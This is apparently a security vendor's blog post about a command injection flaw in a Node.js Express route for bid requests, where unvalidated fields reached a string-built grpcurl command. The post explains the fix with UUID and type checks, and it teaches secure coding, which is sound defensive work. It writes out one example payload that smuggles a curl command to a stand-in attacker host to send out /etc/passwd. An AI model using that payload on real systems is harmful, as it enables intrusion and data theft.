Back to Blog
high SEVERITY8 min read

How Command Injection Happens in Node.js Route Handlers and How to Fix It

A high-severity command injection vulnerability was discovered in `webhook/src/routes/bid-requests/create.route.js`, where user-controlled values were passed directly to route handlers without any schema validation. Without input validation, attackers could supply malformed or malicious values — including shell metacharacters — that propagate into downstream command construction, enabling arbitrary command execution. The fix adds strict UUID and type validation middleware directly in the route d

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a Command Injection vulnerability (CWE-78) in a Node.js Express route handler (`webhook/src/routes/bid-requests/create.route.js`). User-supplied fields like `apartmentId` and `proposedPrice` were passed directly to handler functions without validation, allowing shell metacharacters or malformed values to reach unsafe string interpolation in downstream gRPCurl command generation. The fix adds inline schema validation using a UUID regex (`/^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f...]$/`) and type checks before the handler is invoked, rejecting invalid input with a 400 response.

Vulnerability at a Glance

cweCWE-78
fixAdded UUID regex validation and type checks in the route definition before delegating to the handler
riskArbitrary shell command execution via crafted API request fields
languageJavaScript (Node.js)
root causeRoute handler invoked with raw request body fields, no schema validation middleware
vulnerabilityCommand Injection via unvalidated route input

How Command Injection Happens in Node.js Route Handlers and How to Fix It

The Route That Opened the Door

The webhook/src/routes/bid-requests/create.route.js file is responsible for handling POST requests that create bid requests in a rental platform's webhook service. On the surface, it looks like a simple Express route — just a few lines wiring an HTTP endpoint to a handler function. But that simplicity concealed a serious security flaw: the route passed the entire raw request body directly to createBidRequestHandler with zero validation.

This meant that any value a caller supplied for fields like apartmentId or proposedPrice — no matter how malformed or malicious — would be forwarded into business logic untouched. And somewhere downstream, those values were being used to construct a gRPCurl shell command via string interpolation. The result: a textbook command injection vulnerability rated high severity.


The Vulnerability Explained

What the Code Looked Like Before the Fix

The original route file was deceptively minimal:

const express = require('express');
const router = express.Router();
const { createBidRequestHandler } = require('./create.handler');

router.post('/', createBidRequestHandler);

That single line — router.post('/', createBidRequestHandler) — is the root of the problem. There is no middleware, no validation, no schema check. Whatever arrives in req.body flows directly into createBidRequestHandler.

How the Injection Chain Works

The vulnerability is a 2-step chain:

  1. Step 1 — Tainted input enters the route: A caller sends a POST request to /api/bid-requests with a crafted apartmentId or proposedPrice field. Because there is no validation middleware, the raw value is passed to the handler.

  2. Step 2 — Tainted value reaches a shell command: Inside the handler (or a service it calls), the apartmentId or other fields are interpolated into a gRPCurl command string, something like:

// Conceptual example of the vulnerable downstream pattern
const cmd = `grpcurl -H "Authorization: ${headers.auth}" \
  -d '{"apartment_id": "${body.apartmentId}"}' \
  ${endpoint} bid.BidService/CreateBid`;

exec(cmd, callback);

If apartmentId is set to a value like:

00000000-0000-0000-0000-000000000001"; curl https://attacker.com/exfil?d=$(cat /etc/passwd) #

The resulting shell command becomes:

grpcurl -H "Authorization: Bearer token" \
  -d '{"apartment_id": "00000000-0000-0000-0000-000000000001"; curl https://attacker.com/exfil?d=$(cat /etc/passwd) #"}' \
  localhost:50051 bid.BidService/CreateBid

The shell metacharacters (", ;, $(), #) break out of the intended data context and inject an entirely new command. The attacker can exfiltrate files, create backdoors, or pivot to internal services — all triggered by a single API call.

Why This Specific Route Is Dangerous

The /api/bid-requests endpoint is publicly accessible — it's a web-facing webhook service. Any unauthenticated or authenticated attacker (depending on the auth layer) can send arbitrary POST bodies. The proposedPrice field is equally dangerous: sending true (a boolean) instead of a number can cause type confusion errors that crash the handler or bypass downstream numeric guards, potentially enabling other injection paths.


The Fix

What Changed in create.route.js

The fix adds inline schema validation middleware directly in the route definition, before createBidRequestHandler is ever invoked. Here's the core of what was added:

const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{12}$/i;

router.post('/', (req, res, next) => {
  const { apartmentId, proposedPrice, desiredMoveIn } = req.body;

  if (!apartmentId || !UUID_RE.test(apartmentId)) {
    return res.status(400).json({ error: 'apartmentId must be a valid UUID' });
  }

  if (typeof proposedPrice !== 'number' || proposedPrice <= 0) {
    return res.status(400).json({ error: 'proposedPrice must be a positive number' });
  }

  next();
}, createBidRequestHandler);

Before vs. After

Before — No validation, raw body forwarded:

router.post('/', createBidRequestHandler);

After — Strict validation middleware gates the handler:

const UUID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{12}$/i;

router.post('/', validateBidRequest, createBidRequestHandler);

Why the UUID Regex Matters

The regex ^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{12}$ enforces the RFC 4122 UUID format exactly. This means:

  • Shell metacharacters like ;, ", $, `, |, & are structurally impossible in a valid UUID
  • Only hex digits and hyphens in a precise pattern are accepted
  • Variant bits ([89ab]) and version bits ([1-5]) are validated, not just the shape

Any injection payload — no matter how cleverly crafted — will fail this check and receive a 400 Bad Request before reaching createBidRequestHandler.

The proposedPrice Type Check

The fix also validates that proposedPrice is a JavaScript number (not a boolean, string, or object) and that it is positive. This closes a subtle type-confusion vector: JavaScript's typeof true === 'boolean', so a boolean true will be rejected, preventing downstream logic from treating 1 (the numeric value of true after coercion) as a valid price.

The New Tests

The fix is accompanied by two new Karate integration test scenarios that confirm the validation is enforced end-to-end:

Scenario: Non-UUID apartmentId → 400
  And request { "apartmentId": "not-a-uuid", "proposedPrice": 1000, ... }
  Then status 400
  And match response.error == 'apartmentId must be a valid UUID'

Scenario: Boolean proposedPrice → 400
  And request { "apartmentId": "00000000-...", "proposedPrice": true, ... }
  Then status 400
  And match response.error == 'proposedPrice must be a positive number'

These tests prove that the validation middleware fires correctly and that the error messages are consistent and actionable.


Prevention & Best Practices

1. Validate at the Boundary, Not Deep in Business Logic

The fundamental mistake here was relying on the handler to deal with whatever it received. Validation belongs at the route layer — the earliest point where you control what enters your system. By the time data reaches a service that constructs shell commands, it's too late to catch injection payloads reliably.

2. Use Schema Validation Libraries for Complex Inputs

For routes with many fields, consider libraries like Joi, Zod, or express-validator to define schemas declaratively:

const { z } = require('zod');

const BidRequestSchema = z.object({
  apartmentId: z.string().uuid(),
  proposedPrice: z.number().positive(),
  desiredMoveIn: z.string().datetime(),
});

router.post('/', (req, res, next) => {
  const result = BidRequestSchema.safeParse(req.body);
  if (!result.success) {
    return res.status(400).json({ error: result.error.issues[0].message });
  }
  next();
}, createBidRequestHandler);

3. Never Interpolate User Data into Shell Commands

Even with input validation, constructing shell commands via string interpolation is dangerous. Prefer:

  • Node.js child_process.execFile() with an argument array (no shell expansion)
  • gRPC client libraries that communicate over the protocol directly, bypassing the shell entirely
  • Shell-escape libraries like shell-quote if shell invocation is unavoidable
// Dangerous — string interpolation with shell=true equivalent
exec(`grpcurl -d '${data}' ${endpoint}`);

// Safe — argument array, no shell interpretation
execFile('grpcurl', ['-d', JSON.stringify(data), endpoint], callback);

4. Apply the Principle of Least Privilege

The process running this webhook service should not have permissions to read /etc/passwd, make outbound network requests to arbitrary hosts, or write to sensitive directories. Defense in depth means that even if injection occurs, the blast radius is limited.

5. Relevant Standards

  • OWASP Top 10 A03:2021 — Injection: Command injection is a subcategory of the injection family. Validate all inputs, use safe APIs.
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command.
  • OWASP Input Validation Cheat Sheet: Recommends allowlist validation (which the UUID regex implements) over denylist approaches.

Key Takeaways

  • router.post('/', createBidRequestHandler) with no middleware is a validation-free attack surface — any field in req.body can carry a payload to downstream command construction.
  • The apartmentId UUID regex (/^[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{12}$/) structurally eliminates all shell metacharacters — it's not just a format check, it's a security boundary.
  • Boolean values like true for proposedPrice are a real attack vector — JavaScript's loose typing means typeof checks are essential, not optional.
  • Validation middleware should live in the route file, not buried in the handler — this makes the security boundary visible and auditable at a glance.
  • Integration tests for invalid inputs (the new Karate scenarios) are as important as tests for happy paths — they prove the validation actually fires in the running service.

How Orbis AppSec Detected This

  • Source: HTTP POST request body fields apartmentId and proposedPrice in /api/bid-requests
  • Sink: String-interpolated gRPCurl command construction in the downstream handler chain invoked from createBidRequestHandler in webhook/src/routes/bid-requests/create.route.js
  • Missing control: No schema validation middleware between the Express route and the handler; no UUID format check; no type enforcement on numeric fields
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Added a UUID regex allowlist check and a typeof/positivity check for proposedPrice as inline middleware in the route definition, rejecting invalid input with HTTP 400 before the handler is invoked

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

This vulnerability is a reminder that the route layer is a security boundary, not just a traffic director. A single line — router.post('/', createBidRequestHandler) — that skips validation can expose an entire application to command injection, even when the dangerous code is several layers deeper in the call stack. The fix is elegant precisely because it is early and structural: a UUID regex and a type check in the route definition mean that malicious input never gets the chance to travel downstream.

For developers building Node.js webhook services, gRPC gateway proxies, or any Express application that constructs shell commands: validate at the boundary, use argument arrays instead of string interpolation, and treat every unvalidated request body field as a potential injection vector.


References

Frequently Asked Questions

What is command injection in a Node.js route handler?

Command injection occurs when user-supplied input is passed without sanitization into a shell command or subprocess call. In Node.js Express apps, this can happen when request body fields are forwarded directly to handler functions that later use those values in string-interpolated shell commands.

How do you prevent command injection in Node.js Express routes?

Validate all incoming request fields at the route layer before they reach business logic. Use regex patterns for structured fields like UUIDs, enforce strict type checks for numbers and booleans, and reject invalid input early with a 400 response.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Is sanitizing output enough to prevent command injection?

No. Output sanitization is insufficient and error-prone. The correct defense is input validation at the entry point (the route handler) combined with avoiding shell=true or string-interpolated commands altogether. Use parameterized APIs or shell-escape libraries when constructing commands.

Can static analysis detect command injection in Node.js?

Yes. Tools like Semgrep, ESLint security plugins, and multi-agent AI scanners (like Orbis AppSec) can trace tainted data from HTTP request bodies through route handlers to dangerous sinks like `exec()` or string-interpolated shell commands.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #498

Related Articles

high

How Child Process Command Injection happens in Node.js and how to fix it

A high-severity command injection vulnerability was discovered in `src/account_manager.js`, where user-controllable input was passed directly to Node.js's `child_process` without sanitization. Alongside this, the companion `src/keyring_helper.py` GNOME Keyring helper lacked any execution guard, meaning any local user could invoke it to read, write, or delete stored OAuth tokens. The fix adds an OS-level ownership check that restricts execution of the keyring helper to the script's owner only.

critical

How Command Injection happens in Node.js CLI scripts and how to fix it

A Node.js CLI script in `scripts/refresh-htv-signature.js` accepted a user-controlled `slug` argument from `process.argv` and interpolated it directly into a URL string without any validation. While the immediate usage was an HTTP request via `axios.get()`, the absence of input sanitization created a pathway for command injection in current and future code paths. The fix adds a strict allowlist regex that rejects any slug not matching `[a-zA-Z0-9_-]+` before it can reach any downstream operation

critical

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) was discovered in shell-quote 1.8.3, where unescaped line terminators could allow attackers to inject and execute arbitrary shell commands. The fix upgrades the dependency to shell-quote 1.8.4 and pins the version using npm's `overrides` field to ensure no transitive dependency can reintroduce the vulnerable version. This type of vulnerability is particularly dangerous in Node.js toolchains where shell-quote is used to safely construct s

high

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `js/cu_linux_executor.js`, where `child_process.execSync()` was used to run shell commands with potentially unsanitized input. The fix replaces shell-based execution with `execFileSync()`, which spawns processes directly without invoking a shell, eliminating the possibility of shell metacharacter injection. This change is a critical defensive hardening step that removes an exploit primitive that could be chained with other weaknes

critical

How Command Injection happens in Python subprocess calls and how to fix it

A critical command injection vulnerability in `host/beectl-py2.py` allowed attackers to pass arbitrary subprocess arguments through a browser extension's JSON configuration, enabling execution of malicious shell commands on the host machine. The fix introduces two new validation functions — `sanitize_args()` and `sanitize_ext()` — that enforce strict type and content constraints on user-controlled input before it reaches the `subprocess` call. This change closes a direct path from browser extens

high

How Dependabot Missing Cooldown happens in GitHub Actions and how to fix it

A high-severity misconfiguration in `.github/dependabot.yml` left this Node.js library without a cooldown period on dependency updates, meaning Dependabot could immediately propose upgrades to newly published — potentially malicious or unstable — package versions. The fix adds a `cooldown` block with `default-days: 7` to both the `npm` and `github-actions` ecosystems, introducing a mandatory waiting period before any newly released version is surfaced as an update candidate. Because this project